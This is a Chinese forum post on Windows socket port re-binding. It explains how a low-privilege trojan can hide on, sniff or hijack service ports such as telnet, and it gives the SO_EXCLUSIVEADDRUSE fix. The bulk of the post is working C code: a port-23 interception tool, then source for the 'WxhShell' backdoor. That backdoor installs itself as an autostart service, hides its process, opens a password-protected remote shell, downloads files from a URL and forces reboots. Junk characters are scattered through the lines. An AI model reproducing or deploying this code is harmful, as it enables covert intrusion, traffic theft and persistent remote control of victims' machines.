社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 15030阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: h!L6NS_Q,  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *U=%W4?W  
nwm1YPs%v]  
  saddr.sin_family = AF_INET; C{8d^SCA"  
M@/Hd0$  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8#MiM . f  
Q{0!N8']"  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `:I<Jp  
AGdFJ>/  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 cKKl\g@}  
oHbG-p  
  这意味着什么?意味着可以进行如下的攻击: kr|u ||  
Cd"iaiTD0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 i;XkH4E:)  
 :nHa-N3  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?{O >&<~  
fv",4L  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 s@ ~Y!A  
u`]J]gE  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ][y~(&=T  
%;r0,lN|II  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 18AKM  
-W:te7  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 -$[o:dLO  
;L gxL Qy;  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 x]Nk T  
J AK+v  
  #include 5IPZ;  
  #include /*+P}__k  
  #include  J(  
  #include    U '#Xwax  
  DWORD WINAPI ClientThread(LPVOID lpParam);   csPziH$wl  
  int main() 0 2lI-xHe  
  { E8Jy!8/X9T  
  WORD wVersionRequested; DO#!ce  
  DWORD ret; TA.ugF)h  
  WSADATA wsaData; 3:XF7T  
  BOOL val; YQ&Ww|xe  
  SOCKADDR_IN saddr; }'y=JV>l  
  SOCKADDR_IN scaddr; V5MLzW\8  
  int err; Gd:TM]rJ  
  SOCKET s; I,*zZNv Ri  
  SOCKET sc; LovVJ^TD0i  
  int caddsize; zJH#J=O  
  HANDLE mt; Y-Zw'  
  DWORD tid;   GI~JIXHTQ  
  wVersionRequested = MAKEWORD( 2, 2 ); [ p+]H?(A  
  err = WSAStartup( wVersionRequested, &wsaData ); x.+r.cAXH  
  if ( err != 0 ) { 'UYxVh9D  
  printf("error!WSAStartup failed!\n"); Y;X_E7U  
  return -1; <}G*/ z?/  
  } )O xsasn)M  
  saddr.sin_family = AF_INET; *Vbf ;=Mb  
   m44"qp  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3tO=   
@B@`V F  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); w)# Lu/  
  saddr.sin_port = htons(23); 78=a^gRB  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }#u.Of`6"  
  { 1Mftq4nq  
  printf("error!socket failed!\n"); I`$"6 Xy  
  return -1; ~HFqAOr  
  } <|!?V"`3  
  val = TRUE; Io|3zE*<  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 6aw1  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) f: j9ze  
  { /IO<TF(X  
  printf("error!setsockopt failed!\n"); BHNcE*U}@?  
  return -1; ~ `xaBz0q  
  } $s2Y,0>I6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; rZij[6]Y^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 X,] E {  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 F}f/cG<X  
BF="gZoU<  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) lU`}  
  { ^$N}[1   
  ret=GetLastError(); #nD]G#>e  
  printf("error!bind failed!\n"); !OCb^y  
  return -1; /8Sr(  
  } KW&vX%i(.  
  listen(s,2); j>}<FW-N  
  while(1) SHAC(3o /e  
  { R0WI s:k2  
  caddsize = sizeof(scaddr); 7;8#iS/  
  //接受连接请求 N!{waPbPi  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3axbW f3[  
  if(sc!=INVALID_SOCKET) # :)yh]MP  
  { oMUyP~1  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !4/s|b9K  
  if(mt==NULL) ~jpdDV&u\  
  { ;X z fd  
  printf("Thread Creat Failed!\n"); RT~6#Caf  
  break; ,ix>e  
  } xoYaL  
  } OgOs9=cE{  
  CloseHandle(mt); )HL[_WfY  
  } O0~Qh0~l  
  closesocket(s); GGWdMGI/  
  WSACleanup(); C)RJjaOr  
  return 0;  j1sgvh]D  
  }   "Yy)&zKr  
  DWORD WINAPI ClientThread(LPVOID lpParam) j,J/iJs  
  { 9R1S20O  
  SOCKET ss = (SOCKET)lpParam; c+bOp 05o-  
  SOCKET sc; &x#3N=c#  
  unsigned char buf[4096]; m35$4  
  SOCKADDR_IN saddr; Z{ AF8r  
  long num; X%lk] &2  
  DWORD val; ,QZNH?Cp/  
  DWORD ret; "?f_U/+D<  
  //如果是隐藏端口应用的话,可以在此处加一些判断 LPRvzlY=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   )bkJ[ '9  
  saddr.sin_family = AF_INET; C"[d bh!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); U'Mxf'q  
  saddr.sin_port = htons(23); 5_yu4{@;y  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "~nUwW|=1  
  { b&_u+g  
  printf("error!socket failed!\n"); 7W7yjG3g  
  return -1; !=B=1th4  
  } }%lk$g';  
  val = 100; D3 .$Vl,.  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q Xj]O3 mm  
  { *vS)aRK  
  ret = GetLastError(); 8_h:_7e  
  return -1; 6qYK"^+xu  
  } G{!adBna  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /@xL {  
  { }48 o{\  
  ret = GetLastError(); ~]S%b3>  
  return -1; U3rpmml  
  } 9'I$8Su  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 032PR;]  
  { 7c>{og6  
  printf("error!socket connect failed!\n"); qQ^ bUpk0  
  closesocket(sc); [`/d$V!e  
  closesocket(ss); _WB*ArR  
  return -1; 0J5IO|1M  
  } .'Rz tBv  
  while(1) ^sb+|b  
  { f`Wces=5  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 JXKo zy41  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 QKt+Orz  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 f J$>VN  
  num = recv(ss,buf,4096,0); {Ip)%uR  
  if(num>0) G}N T[  
  send(sc,buf,num,0); hY}.2  
  else if(num==0) nZP%Z=p7  
  break; Ew$-,KC[  
  num = recv(sc,buf,4096,0); FF'Ul 4y  
  if(num>0) E As1 =  
  send(ss,buf,num,0); r;'Vy0?AL  
  else if(num==0) E*]%@6tH  
  break; 1WJ%n;  
  } Hr/3nq}.  
  closesocket(ss); 0{Bhr12V  
  closesocket(sc); ZB5u\NpcW  
  return 0 ; =Xu(Js-  
  } P%_PG%O2p  
;{S7bH'6m  
Q ~>="Yiu  
========================================================== NI)q<@ju  
C=!YcJ9  
下边附上一个代码,,WXhSHELL kO'_g1f<[  
O9jpt>:kZ  
========================================================== \h UE, ^  
D! $4  
#include "stdafx.h" g)UYpi?p-}  
~ s# !\Ye  
#include <stdio.h> n1+,Pe*)  
#include <string.h> >^(Q4eU7!  
#include <windows.h> ;&?l1Vu  
#include <winsock2.h> RQt\_x7P  
#include <winsvc.h> h& Q9  
#include <urlmon.h> &XH{,fv$  
gW_^GrKpI  
#pragma comment (lib, "Ws2_32.lib") ]xf|xs  
#pragma comment (lib, "urlmon.lib") ?KF.v1w7  
6z>Zm1h  
#define MAX_USER   100 // 最大客户端连接数 `|d&ta[{  
#define BUF_SOCK   200 // sock buffer Ey**j  
#define KEY_BUFF   255 // 输入 buffer =sa bJsgL  
&] euL:C  
#define REBOOT     0   // 重启 itmQH\9 8  
#define SHUTDOWN   1   // 关机 e Zb8x  
f[$9k}.  
#define DEF_PORT   5000 // 监听端口 SYZS@o  
p@x1B &Z  
#define REG_LEN     16   // 注册表键长度 r -SQk>Y}  
#define SVC_LEN     80   // NT服务名长度 q9mYhT/Im  
}iF"&b0n"  
// 从dll定义API EPMdR66  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n gC|BLT%h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); BoMf#l.3B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |=CV.Su  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2~BId&]  
B\z4o\am%  
// wxhshell配置信息 |[]"{Eo"}  
struct WSCFG { Ikbz3]F^V  
  int ws_port;         // 监听端口 !Qd4Y=  
  char ws_passstr[REG_LEN]; // 口令 q>X%MN y  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z*Qra4GBl]  
  char ws_regname[REG_LEN]; // 注册表键名 QX$i ]y%S  
  char ws_svcname[REG_LEN]; // 服务名 &v#*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zXHCP.Rmg  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Uhz<B #tj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 WV'FW)%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no a ykNH>#Po  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4LBMhLy  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c%+9uu3  
Kpo{:a  
}; %TA3o71  
7TC=$y ,  
// default Wxhshell configuration ]zza/O;31(  
struct WSCFG wscfg={DEF_PORT, nD$CY K  
    "xuhuanlingzhe", z$d/Vz,a  
    1, )D:I@`*  
    "Wxhshell", p6yC1\U!o  
    "Wxhshell", 'RlPj 0Cg  
            "WxhShell Service", @ qfVt  
    "Wrsky Windows CmdShell Service", ,ij"&XA  
    "Please Input Your Password: ", 5$e|@/(0  
  1, Jz!8Xg%a  
  "http://www.wrsky.com/wxhshell.exe", <E(#;F^y  
  "Wxhshell.exe" T{iv4`'  
    }; /Wh} ;YTv^  
IR+dGqIjZb  
// 消息定义模块 Qn77ZpL:LJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; WJ9=hr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ua^'KRSO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \V|\u=@H  
char *msg_ws_ext="\n\rExit."; L//Z\xr|  
char *msg_ws_end="\n\rQuit."; ?dukK3u  
char *msg_ws_boot="\n\rReboot..."; L>Y>b4oy3  
char *msg_ws_poff="\n\rShutdown..."; _U.D*f<3)  
char *msg_ws_down="\n\rSave to "; 4*4s{twG  
dooS|Mq  
char *msg_ws_err="\n\rErr!"; *N .f_s  
char *msg_ws_ok="\n\rOK!"; );wSay>%(  
3hOiHO ;  
char ExeFile[MAX_PATH]; IRemF@  
int nUser = 0; 2NLD7A  
HANDLE handles[MAX_USER]; ?q(7avS9  
int OsIsNt; }jM&GH1  
2<Tbd"x?  
SERVICE_STATUS       serviceStatus; ISI\< qx  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -v4kW0G  
6uCa iPV  
// 函数声明 dyRKmLb  
int Install(void); ] ZGP  
int Uninstall(void); $ZD1_sJ.  
int DownloadFile(char *sURL, SOCKET wsh); TKpka]nJ  
int Boot(int flag); bsw0+UY=9  
void HideProc(void); ty|E[Ez1  
int GetOsVer(void); K14e"w%6rs  
int Wxhshell(SOCKET wsl); %vvA'WG  
void TalkWithClient(void *cs); wRn]  
int CmdShell(SOCKET sock); 66*/"dBwm  
int StartFromService(void); G[1:<Vg8  
int StartWxhshell(LPSTR lpCmdLine); t<M^/xe2  
Amf gc>eJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?(el6J}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W3s>+yU  
[R[]&\W  
// 数据结构和表定义 'c3P3`o,;  
SERVICE_TABLE_ENTRY DispatchTable[] = GsG.9nd  
{ +85i;gO5  
{wscfg.ws_svcname, NTServiceMain}, FUic7>  
{NULL, NULL} n`Pwo &  
}; 0Ym+10g  
`LU[+F8<  
// 自我安装 CM+Nm(|\,  
int Install(void) _FXvJ}~m  
{ 'M>QA"*48E  
  char svExeFile[MAX_PATH]; /EF0~iy  
  HKEY key; MaDdiyeC  
  strcpy(svExeFile,ExeFile); _KBN  
vt@5Hb)  
// 如果是win9x系统,修改注册表设为自启动 S)T]>Ash  
if(!OsIsNt) { N t]YhO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +eSNwR=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u`I&&  
  RegCloseKey(key); x%Ph``XI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pvdM3+6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ocCq$%Ka  
  RegCloseKey(key); m20:{fld  
  return 0; F?#^wm5TZ  
    } yd#SB)&  
  } -j1?l Y  
} h"Qp e'D}  
else { $+CKy>  
q1!45a  
// 如果是NT以上系统,安装为系统服务 H9}z0VI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nBw4YDR!  
if (schSCManager!=0) Y+vG ]?D  
{ `@%hz%8Y  
  SC_HANDLE schService = CreateService LpCJfQ  
  ( g\_J  
  schSCManager, }LK +w+h~  
  wscfg.ws_svcname, Vwxb6,}Z  
  wscfg.ws_svcdisp, NWnUXR  
  SERVICE_ALL_ACCESS, %d-|C.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7A6Qrfw  
  SERVICE_AUTO_START, qiEw[3Za]'  
  SERVICE_ERROR_NORMAL, Hw"Lo Vh  
  svExeFile, @JB9qT  
  NULL, ykAZP[^'  
  NULL, ?'>pfU  
  NULL, vXA+o)*#/  
  NULL, dsJMhB_41U  
  NULL 1eod;^AP9  
  ); v_U+wga  
  if (schService!=0) CMu/n]?c  
  { 2bIP.M2Fs  
  CloseServiceHandle(schService); $2!|e,x  
  CloseServiceHandle(schSCManager); M N-j$-y}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !*I0}I ~  
  strcat(svExeFile,wscfg.ws_svcname); eKpWFP 0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3[_zz;Y*d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "~V|p3  
  RegCloseKey(key); Dx1f< A1  
  return 0; {>EM=ZZfg  
    } ]lQLA IQ  
  } ;@5N  
  CloseServiceHandle(schSCManager); KOv?p@d  
} Nqy)jfyex  
} 62s0$vw  
Nw3K@ Ge  
return 1; YRU1^=v  
} i>elK<R4  
BYuoeN!  
// 自我卸载 {7F?30: ]  
int Uninstall(void) gdj,e ^  
{ yb/v?q?Fk  
  HKEY key; wC&+nS1  
$bo,m2)  
if(!OsIsNt) { =|j~*6Hd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Jxo#sV-  
  RegDeleteValue(key,wscfg.ws_regname); m)\wbkC  
  RegCloseKey(key); i3dV2^O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cXDG(.!n7B  
  RegDeleteValue(key,wscfg.ws_regname); c.?+rcnq  
  RegCloseKey(key); ov xX.h O  
  return 0; x<=<Lx0B;  
  } Lb=4\ _  
} 6s<w} O  
} 5Sh.4A\  
else { %^qf0d*  
|V dr/'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); k$d+w][  
if (schSCManager!=0) (@(rz/H  
{ LX%UkfA9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6'a1]K  
  if (schService!=0) yt 5'2!jc  
  { `VL<pqPP  
  if(DeleteService(schService)!=0) { >Y)FoHa+/  
  CloseServiceHandle(schService); &al\8  
  CloseServiceHandle(schSCManager); SbYs a  
  return 0; zNh$d;(O$^  
  } .dw;b~p  
  CloseServiceHandle(schService); :k&5Z`>)  
  } _GtG8ebr  
  CloseServiceHandle(schSCManager); 1)N~0)dO  
} 8|2I/#F}]  
} }uo.N  
4xsnN@b  
return 1; r1]DkX <6  
} %CaF-m=Pq  
x6iT"\MO  
// 从指定url下载文件 ^v+7IFn  
int DownloadFile(char *sURL, SOCKET wsh) *Q`y'6S  
{ d@QC[$qXj  
  HRESULT hr; 0(h'ZV  
char seps[]= "/"; egHvI&w"o  
char *token; n[c/L8j  
char *file; &{=`g+4n  
char myURL[MAX_PATH]; {)y8Y9G  
char myFILE[MAX_PATH]; F#>^S9Gml  
6v(;dolBIw  
strcpy(myURL,sURL); >sZ207*  
  token=strtok(myURL,seps); B,NHy C1i  
  while(token!=NULL) N1l&$#Fr!s  
  { *{%d{x}l  
    file=token; yS"; q  
  token=strtok(NULL,seps); |)pgUI2O[  
  } "v[?`<53^l  
-MTO=#5z  
GetCurrentDirectory(MAX_PATH,myFILE); Fq`wx  
strcat(myFILE, "\\"); rvwfQ'14  
strcat(myFILE, file); .4cOMiG  
  send(wsh,myFILE,strlen(myFILE),0); MU#$tXmnC  
send(wsh,"...",3,0); \+I+Lrj%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g| M@/D l  
  if(hr==S_OK) ^hIKDc!.m  
return 0; 4SGF8y@WU  
else t=6Wk4  
return 1; SHt#%3EU  
f<K7m  
} j87IxB?o  
RXWS,rF  
// 系统电源模块 oP`yBX  
int Boot(int flag) 38HnW  
{ 6JZ$; x{j  
  HANDLE hToken; mj^]e/s%  
  TOKEN_PRIVILEGES tkp; n<3*7/-  
@K}8zMmW#  
  if(OsIsNt) { h"849c;C.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?D]qw4J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +ug[TV   
    tkp.PrivilegeCount = 1; lV )SOs$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0ofl,mXW  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t^(#~hx  
if(flag==REBOOT) { 1Yb9ILX[J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) BdYl sYp  
  return 0; u4,b%h.  
} @"$rR+r'  
else { Ymr\8CG/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >x 6$F*:W}  
  return 0; K" U!SWv  
} a8[Q1Fa4|  
  } g$eZT{{W  
  else { R`F8J}X_  
if(flag==REBOOT) { .|Bmg6g*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) VjhwafYC  
  return 0; *d/,Y-tl  
} |= U(8t  
else { /@~&zx&_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) BH$+{rZ8t  
  return 0; %\n&iRwDF  
} GP._C=]?c  
} g"&e*fF  
 ~hxo_&  
return 1; r1!]<=&\  
} D|BP]j}6  
|0A:0'uA!  
// win9x进程隐藏模块 W;9Jah.  
void HideProc(void) %G>|u/:U  
{ k3FpD=N  
x[i Et%_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); g bc])`aJ>  
  if ( hKernel != NULL ) A[.5Bi  
  { A1u|L^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <1EmQ)B   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :1JICxAU  
    FreeLibrary(hKernel); qf qp}g\  
  } Y =BXV7\  
af WEt -  
return; `+go| 5N2  
} Q8sCI An{  
]p.eFYDh7  
// 获取操作系统版本 T1}9^3T?{  
int GetOsVer(void) `'^&* 7,  
{ }{(|^s=  
  OSVERSIONINFO winfo; ie+746tFW  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #:?MtVC  
  GetVersionEx(&winfo); }:5>1FfX=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;*8nd-\  
  return 1; 6qgII~F'  
  else uVBMI.&w  
  return 0; ;PrL)!  
} ?fXlrJ  
>&kb|)  
// 客户端句柄模块 Pv(icf l|  
int Wxhshell(SOCKET wsl) .$,.w__m ~  
{ m#oZu {  
  SOCKET wsh; 7:_\t!]  
  struct sockaddr_in client; |NiW r1&i0  
  DWORD myID; 43?J~}<Vs  
QhHexr6  
  while(nUser<MAX_USER) ;%R+]&J  
{ vj:hMPC ZM  
  int nSize=sizeof(client); g}hR q%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;_^ "}  
  if(wsh==INVALID_SOCKET) return 1; (n~ e2tZ/  
7 i |_PP_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;7]Q'N  
if(handles[nUser]==0) u/h!i@_w[  
  closesocket(wsh); jKcnZu  
else 2Rp'ju~O)/  
  nUser++; K)!?np{km  
  } #^bkM)pc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); GAlAFsB  
N!e?K=}tL  
  return 0; Dl#%tYL+3h  
} w C0fPPeA  
Z`l97$\  
// 关闭 socket EPz$`#Sh"  
void CloseIt(SOCKET wsh) /?; 8F  
{ ?=]*r>a3  
closesocket(wsh); Q(}TN,N  
nUser--; ~!,Q<?  
ExitThread(0); <p'~$vK  
} wghz[qe  
3psCV=/z  
// 客户端请求句柄 &!3=eVg  
void TalkWithClient(void *cs) 3d{v5. C#X  
{ Y.Er!(pz  
!0g+}  
  SOCKET wsh=(SOCKET)cs; QrP$5H{[E  
  char pwd[SVC_LEN]; 042sjt  
  char cmd[KEY_BUFF]; =9 TAs? =  
char chr[1]; KJwkkCE/=  
int i,j; I]`>m3SJ  
~[i,f0O,  
  while (nUser < MAX_USER) { CMIjc(m  
1 D fB9n  
if(wscfg.ws_passstr) { $FgpFxz;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z:#-4CiP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *XmOWV2Y_  
  //ZeroMemory(pwd,KEY_BUFF); ({cgak  
      i=0; "mA Vkq~  
  while(i<SVC_LEN) { UC^Bn1  
W"rX$D [Le  
  // 设置超时 1GY[1M1^  
  fd_set FdRead; N[j7^q7Xt  
  struct timeval TimeOut; ]]s_ 8u 3  
  FD_ZERO(&FdRead); sX3Vr&r  
  FD_SET(wsh,&FdRead); j~G^J  
  TimeOut.tv_sec=8; vO1P%)  
  TimeOut.tv_usec=0; E5lC'@Dcz  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #;RP ?s  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Q~4o{"3.'  
!}()mrIlP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z;@F.r  
  pwd=chr[0]; Y.?|[x0Wh  
  if(chr[0]==0xd || chr[0]==0xa) { %>uGzQ61  
  pwd=0; j\nnx8`7  
  break; o_gpBaWD  
  }  Lp%V$'  
  i++; s &v<5W2P  
    } Osb"$8im  
G{ rUqo  
  // 如果是非法用户,关闭 socket 5FHpJlFK,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n%Xw6qV:  
} =VlO53Hy{  
/|y3M/;F  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }[PbA4l.g  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y9m'RFZr  
#3$U&|`  
while(1) { %2<chq  
IPcAE!h6zN  
  ZeroMemory(cmd,KEY_BUFF); k 6~k  
:&`Yz   
      // 自动支持客户端 telnet标准   Ifu$p]~z$  
  j=0; Jug1Va<^c  
  while(j<KEY_BUFF) { ~Gc+naE>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fPHv|_XM>  
  cmd[j]=chr[0]; sm}v0V.Js  
  if(chr[0]==0xa || chr[0]==0xd) { M6!kn~  
  cmd[j]=0; ~aH*ZA*f  
  break; 5/mW:G,&  
  } qJW>Y}  
  j++; DRi!WWivn  
    } 4aAr|!8|h!  
5SX0g(C  
  // 下载文件 ,u( g#T  
  if(strstr(cmd,"http://")) { N7Z&_$Bx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H(]lqvO  
  if(DownloadFile(cmd,wsh)) 6(oGU4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); h GS";g[?  
  else KbH#g>.oB  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [kFX>G4  
  } ~sAINV>A  
  else { mn" a$  
7 .+kcqX  
    switch(cmd[0]) { S'Q$N-Dy  
  Y_%\kM?7  
  // 帮助 AY0o0\6cw  
  case '?': { "[H9)aAj7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &}w,bG$  
    break; Q=gVxS  
  } 8ne'x!1 D  
  // 安装 _Ux>BJmP  
  case 'i': { AUoi$DF(@  
    if(Install()) M.d{:&@`%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 622mNY  
    else ms ;RJT2O'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3Du&KZ  
    break; nAd 4g|  
    } 7G%`ziZ  
  // 卸载 xzMa[D4(  
  case 'r': { `X^ 4~6/q  
    if(Uninstall()) [fR<#1Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1&QI1fvx  
    else %9BC%w]y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C-_u; NEu  
    break; #B'WT{B$/~  
    } ~AK!_EOs`  
  // 显示 wxhshell 所在路径 ;'ts dsu}  
  case 'p': { `"(7)T{  
    char svExeFile[MAX_PATH]; fXIeCn  
    strcpy(svExeFile,"\n\r"); >6ch[W5k@  
      strcat(svExeFile,ExeFile); ,i*^fpF`F"  
        send(wsh,svExeFile,strlen(svExeFile),0); 0,m*W?^31  
    break; yQ+#Tlji  
    } m98k /w_  
  // 重启 EE&~D~yHUL  
  case 'b': { yYdXAenQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fgl"ox  
